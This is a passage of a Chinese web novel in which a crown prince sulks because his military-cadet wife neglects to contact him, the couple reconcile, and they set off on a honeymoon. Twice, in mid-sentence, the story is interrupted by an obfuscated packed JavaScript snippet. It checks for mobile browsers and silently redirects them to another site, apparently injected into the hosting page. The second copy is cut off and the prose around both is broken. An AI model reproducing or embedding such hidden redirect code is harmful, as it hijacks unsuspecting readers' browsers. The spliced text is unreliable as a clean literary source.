本来桑宁叙是想跟玩得还不错的小伙伴们一起组团学习,可当她把计划告诉穆沉凛后,从来没有反对过她任何决定的太子殿下竟然第一次冷着脸拒绝了。 “当年我也是优秀毕业生。” 屏幕那头的男人带着些许怒意和不满开口,随后便二话不说的确定好接她回家的时间,匆匆挂断联络。 嗯,他怎么了? 还没意识到已经近一个月没见过自己太子妃的太子殿下天天在家都快把人想疯了,一天到晚吃吃不好睡睡不着,大魔王最近连处理政务时对待其他人的态度都糟糕了不少。 情况遭到,甚至连向来对殿下的命令说一不二的元宿都隐隐躲着他,能不在殿下面前晃悠就不在他面前晃悠。 更别提江止和孟赫等人,早就溜得远远的,借口加强训练天天赖在军队不肯冒头。 桑宁叙是坐到车里才后知后觉地意识到太子殿下貌似心情不佳的。 具体情况表现为,以前男人虽然话也不多,但无论她说什么奇怪或搞笑的事情,这人都会在一旁专心致志地听完,再及时附上一两条恰当的点评,完全气氛组。 今天自从她上车之后,无论是说同学的搞笑事迹也好,又或者抱怨某个教官的疯狂加练也罢,这人都只是冷着脸坐在一旁一动不动,一句话都不带搭理她。 难道又有老家伙给他气受了? 独自喋喋不休废话了快十分钟的桑宁叙在得不到任何回应后,也只好停下闭麦。 这人好像……接到她时就瞥了她一眼,之后就一直直视前方,愣是一次都没有看过她。 到底怎么了啊? 明明她天天在学校累死累活,为了太子妃的名誉更是千辛万苦的学习,生怕到时候第一的位置不保,好不容易盼到能回家歇几天,这人居然还给她使脸色! 桑宁叙也要生气。 于是两个幼稚的人就这么开启了第一次冷战。 迟迟得不到女孩的询问,快到家前的太子殿下明显有些坐不住,于是男人便开始忍不住侧过身不断瞟她。 只不过桑宁叙当时正盯着窗外在脑中模拟实战演练中自己曾出现的种种失误,努力复盘中的女孩压根没注意到身边那人的小动作。 然后,太子殿下的心情就更糟糕起来。 状况甚至持续到入睡之前,两人都没有再说过一句话。 要是平时,桑宁叙也许会觉得他这幅模样有趣,嬉皮笑脸地来哄哄他,但现在她满脑子都是即将到来的第一次期末考试,只恨不得时刻都钻进课本,把所有知识点都直接复制粘贴到大脑里,然后信心十足地冲向考场。 至于奇怪的太子殿下,嗯,也许他只是今天心情不好,明天睡一觉起来就自愈了。 自愈当然是不可能的。 夜里11点,到了他们平常的入睡时间,已经换好睡衣靠在床头的男人却一直没能等来他的妻子。 桑宁叙依然在书房挑灯夜战。 当穆沉凛在床上干坐了半个小时后,男人终于沉着脸推开了书房的大门。 “睡觉。” 这是今天他们见面后他说的第一句话,然而女孩的回答却并不令他满意。 “你先睡,别管我,我还得再看一会儿。”桑宁叙头也不抬地敷衍道。 得到答复的男人沉默了五秒,就在桑宁叙以为他要离开时,呲啦—— 椅子被人大力拉开,桑宁叙诧异地刚抬起头,下一秒就被某人公主抱起来。 “回去睡觉,明天再继续。” 穆沉凛不顾她的挣扎,把人直接带回卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061272|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室扔到床上。 “穆沉凛!” 摔在柔软大床上的女孩打了个滚又坐了起来,她双手叉腰怒气冲冲地质问他:“你今天到底怎么了?” 听见她的指责,站在床边的男人却只是撇过头不肯对上她的视线,沉默着就是不应答。 “不说我走了。” 桑宁叙冷着脸从床上下来,她的拖鞋还在书房,零三七那个家伙已经定时休眠,她得回去把资料整理好再休息。 目不斜视地即将走出卧室,在经过男人身边时她故意放慢了脚步,却没有被他拦住去路,怒气再度冲上心头,桑宁叙大步朝外走去。 在即将走出卧室房门的前一秒,她的后背随即落入了一个熟悉的怀抱,随之而来的,是男人低哑委屈的嗓音:“不许走。” 啧。 桑宁叙努力压下微微勾起的嘴角,装作依然冷漠的样子对他命令:“松手。” “不许走。” 身体被搂得更紧,她甚至有种自己要被融进体内的感觉,桑宁叙被他勒的呼吸困难,只得赶紧拍了拍胸前的胳膊让他快点放开。 以为她还在生气要离开自己的太子殿下慌张地再次加大力气。 “咳,松……开。” 喘不过气的桑宁叙涨红了脸,只好狠狠踩了他一脚,然而却因为赤脚并没有如愿踩痛他。 终于意识到女孩正在难受的穆沉凛赶紧松手,一边拍着后背帮她顺气,一边低声道歉:“抱歉,我太大力了。” 好不容易调整过来呼吸的桑宁叙揉了揉被他勒疼的胸口,随后缓缓叹了口气。 “说吧,到底怎么了,为什么生气?” 桑宁叙一屁股坐回床上,女王般的翘起二郎腿开始了审问。 “你总要说出来,还是你希望……”她用手指点了点后颈处被封好的腺体,“还是你想让它来盘问?” 目光紧紧盯着她的动作,穆沉凛的呼吸明显加重,他们都知道这意味着什么。 “想得美,当然不可能!”桑宁叙白他一眼,这家伙肯定巴不得立刻把她拐上床,她才不会让他的计谋得逞! “说,不说今天谁也别睡。”太子妃语气不善的威胁道。 “要是今天零点前还是不肯说,那明天等你想说我也不会听的。” “林蔚然他们可盼着我回去一起复习,既然你也不想跟我沟通,那不如明天我还是回学校……” “我说。”一道男声突然插入。 “喔,想通啦?那说来听听,到底怎么了。”桑宁叙歪着头做出一幅洗耳恭听的姿态。 …… 房间内又陷入沉默。 桑宁叙盯着他精致的侧颜欣赏了一会儿,见这人依然没有开口的打算,便重新站了起来:“不想说算了,别浪费时间……” “你都没有联系我!” “什么?” 被男人突兀地打断,桑宁叙没听清他那飞快一句的含糊话语,“你说什么?” “自从住校后你都从来没有主动联系过我。” 成功说出了第一句,后面就更加流利顺畅起来,男人站在原地开始滔滔不绝地抱怨起来她这段时间的所作所为。 “不仅没有主动联系,每次通话时张口闭口就是那几人,林蔚然、陈哲宣,你无时无刻都和他们待在一起。” “特别那个林蔚然,次次都故意往你身边凑,我们的私人通话为什么要让他出镜。” “你也从不关心我的生活。” “你……” 在女孩奇异又讶异的视线中,穆沉凛的声音渐渐低了下去,语气愈发可怜,像一只被人抛弃无家可归湿漉漉的流浪狗。 一直避开视线不肯看她的男人此时也终于转过身来,目光灼灼地直视她的双眼,他失落又难过的望着面前的女孩,半晌后对着她一字一句指责道。 “你根本不想我。” 46. 第 46 章 呃…… 桑宁叙可疑地卡壳了。 听着太子殿下一大段的不满与指责,她忽然觉得自己刚才还强硬的气场像一个被迅速戳破的皮球,咻得一下只剩一片可怜兮兮的外皮。 在男人埋怨又惆怅的眼神中,大脑仿佛生锈,身体也像被冻住,她呆坐在床上开始觉得自己的手脚无论怎么放都不得劲。 不是,她真的完全没想到,原来困扰太子殿下的麻烦居然是她本人。 即使她也真的很想大声反驳,但仔细想想,她好像……真的没有……主动找他聊过天。 每周末穆沉凛的通话都会如约而至,已经养成习惯的女孩压根没想过自己时不时也应该主动联系。 好吧,这似乎真的要怪她。 过去一个人生活惯了,潜意识里压根没想过自己也应该定时和他人报备联络,更别提这里的“他人”还是自己的丈夫。 唔,桑宁叙狠狠掐了一把手心,强迫自己迅速从怔愣中清醒。 现在怎么办? 啊对对对,哄人! 但关键是,要怎么哄啊! 她以前可从来没有恋爱经验,更别提哄人…… 这边的桑宁叙还在疯狂思考,那边迟迟等不到回应的穆沉凛原本光亮的双眸也渐渐暗淡下去。 他是不是太过分了? 学院的课程量他当然身有体会,女孩忙起来顾不上他也实属正常,只是…… 他还是受不了每天只有自己像个傻子一样无数次地反复查看通讯设备,焦急地等待她的传讯,哪怕只有一句话、一个表情,都足已抚平他躁动的内心。 好不容易熬到她的休息日,本就为数不多和她线上相处的时光还要被那群小孩分走,一次两次也就算了,几乎每次打电话时她都不是独自待在寝室,身边也总三三两两围绕着几个Alpha。 就算知道她是自己命定之番,就算军事学院的所有人都知道她是自己的太子妃,但他的不安与烦躁仍在一天天加剧。 偶尔几次,他甚至后悔自己把她从身边送走,就应该把人关在家里哪都不许去,什么也不用思考,他有能力也有信心为她安排好一切。 但这世上没有谁愿意一辈子被人豢养,趋于人下,成为无用之人。 更何况是她。 “抱歉……是我过分了。” 穆沉凛默默垂下头不再看她,男人的侧脸陷入昏暗的阴影中叫人看不清神色,半晌后他突然换了说辞,下起了逐客令:“我想休息了,你继续忙吧。” 说罢,男人便自顾自地躺回床上,闭上双眼不再理她。 桑宁叙看着床那边鼓起的小山丘,忽然动身慢慢向那里爬去。 被子里钻进一具冰凉的身体,女孩手脚并用地熟练缠上他。 穆沉凛依然没动。 察觉到男人身体的紧绷,桑宁叙在心底缓缓叹了口气,随即支起上身在后颈处轻轻吻了几下。 “对不起,是我疏忽了。”女孩软糯又沮丧的声线从背后传来。 在她开口的同一时间,男人也已在黑暗中睁开双眼,静静等待着她接下来的话语。 桑宁叙用力艰难地吞了吞口水,她凭着感觉沿着腰腹摸去,在碰到男人搭在那里的一只手后,不容拒绝地掰开拳头和他十指相扣。 “是我还没有习惯把你当做我的……咳,丈夫。” “林蔚然他们跟我也只是朋友,之所以每次都能见到他们,也是因为……他们都是你的粉丝。” “我这个太子妃,不过是顺带的而已。” 女孩声音又小又轻的贴在身后跟他咬耳朵。 “你的毕业成绩可是一直以来从未有人能突破的,你都不知道,军校里那帮崽子都崇拜你崇拜的不得了,要是听见有人敢私下说你的坏话,战书立马就送到,然后跟魔怔了似得恨不得跟你的黑子大战三天三夜。” “我都不知道,原来我们的太子殿下居然这么受欢迎。” 她声音尾调不自然的上扬让男人立即就听出了一丝嫉妒与不爽。 “你这么优秀,弄得我压力好大,我可不想丢人,被他们嘲笑只是个空有其表的太子妃。” 听着她在自己身边认真又努力的解释,穆沉凛渐渐开始觉得自己的心脏变得非常奇异,心情突然变得明朗起来,多日以来遮挡在心间的浓密乌云现在则像是被一阵清风轻而易举地吹散。 拇指被他的指腹慢慢磨蹭,桑宁叙意识到她应该有把人哄好一点,于是受到鼓舞的女孩立刻再接再厉道:“我没有不想你,只是最近太忙,所有的精力都放在了考试上,等我考完放假回来,我一定天天缠着你,当你的跟屁虫,到时候就算你烦我烦得不得了,我也赖着不走,好不好?” 嗤—— 听见男人终于忍不住笑出声,松了口气的桑宁叙立刻又恢复平时肆无忌惮、蹬鼻子上脸的张狂模样:“哼哼,到时候看我不缠死你,哪里都不许去,就只能乖乖洗干净待在床上等着被我咬脖子吧,啊!” 被男人翻身搂进怀里的桑宁叙抵在他的胸口处闷闷笑了一会儿。 “还生气吗?” “快睡觉,趁我还能忍住。” 啧,不经逗。 女孩弯了弯嘴角,她揶揄地挠了挠手感极好的腹肌,意料之中被他毫不留情地压制后,抬起头来吻了吻上下滚动的喉结。 穆沉凛意会地低下头,捏着她的下巴缠绵又温柔的吻了一会儿,然后在黑暗人满足的与她一起睡去。 自从二人闹了这么一出,桑宁叙也意识到自己对太子殿下的不上心,于是立即抽空恶补研究了一下夫妻爱人的相处之道,然后照猫画虎地开始了模仿。 毕竟他们的婚姻比较特殊,最开始只是匆匆见面后随意走了个过场就成为了夫妻,之后两人又长期分居,就更别提其他正常情侣中间应该有的过程。 什么暧昧、告白、交往,全部通通没有。 再加学院那帮小子一天到晚在她耳边殿下殿下的称呼,她有时候也觉得穆沉凛对她而言,更像是领导和战友,哪有什么恋人间的沉迷和喜爱。 这样看来,倒也不怪她一直没能习惯自己已有爱人的事实。 而那天被桑宁叙哄好的男人也在头脑清醒后,很快意识到他们这段关系的不同之处。 既然没有恋爱的过程,那就自食其力,重新创造过程。 于是,默契无边的二人组很快便同时开始了各自对维护婚姻的努力,好在双方都积极配合,一时间,二人竟然都诡异的有一种陷入热恋的羞涩感。 只要课业不忙,桑宁叙渐渐开始抽空往家跑。 有时候是不打招呼突然给穆沉凛一个惊喜,有时候则是黏黏糊糊的撒娇要他来接。 至于太子殿下,更是包揽一切约会行程。 以往日日待在皇宫和军队,忙起来只喝营养液的家伙,居然自己上网摸索出了一份优质帝都餐厅列表、小吃甜品强推店铺。 除此之外,和桑宁叙已经逛遍帝都情侣约会圣地的太子殿下,又将主意打到外太空,没事就拉着太子妃全宇宙乱跑,甚至还美名其曰,度蜜月。 因此每当军事学院放假,那段时间的穆沉凛在所有人眼里都是神出鬼没、不见踪影的隐形人,谁也搞不清楚他人在何处。 看不惯的臣子贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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已经素了几个月有余的太子殿下早就忍不住恨不得在女孩回家的第一天就把人吃干抹净,只可惜为了陪她出来游玩,必须提前尽快处理完大量政务的男人也只得暂时忍耐住心中的欲望,一遍遍告诫自己心急吃不了热豆腐。 而放假后的桑宁叙也忙得到处跑,先是被王后召进宫中小住了两天,又马不停蹄地冲回家探望了一次桑少校。紧接着,约好的父女俩便一起敲开了姐姐桑灵叙的新房。 彼时刚检查出怀孕四周的桑灵叙被紧张兮兮的沈安之天天陪在家里,明明距离生产时间还早得很,但这可把第一次当父亲的沈安之给激动坏了,每天八百遍地摸着、听着自己老婆的肚子,恨不得小崽子立刻就能从母亲的身体里蹦出来。 好在小家伙大概随了母亲的性格,一点也不闹腾,至少桑灵叙没有被孕反折腾得死去活来,每天依然胃口良好心情愉悦。 终于等来父亲和妹妹上门的桑灵叙好笑地看着两个不知所措的亲人从一进门开始就探究地盯着她的小腹,神态稀奇又小心,机器人一样端正又僵硬地坐在沙发上后,飞快对视一眼的父女俩便一个接一个、滔滔不绝地问了一大堆关于她身体情况的问题。 “它很乖的,我也没有不舒服,就是平时嗜睡了一点,偶尔情绪起伏会有点大。”桑灵叙温柔地抚摸着肚子,满脸幸福地答道,“安之把我照顾的很好,你们不用担心。” 他是孩子的父亲,那可不得承担起责任来! 父女俩异口同声地在心里喊了出来。 看到自家女儿/姐姐跟之前的状态相比基本没差别,性格依然安宁又美好,脸上看不出一丝烦闷和不快,甚至身材还圆润了不少,父女俩才算是满意地点了点头。 在拜访完该拜访的亲友后,穆沉凛的工作也终于收尾完成,于是男人便再也等不及,立刻带着小妻子连夜踏上私人飞行器,赶向他最新发现的蜜月圣地,开启只属于二人不被打扰的蜜月时光。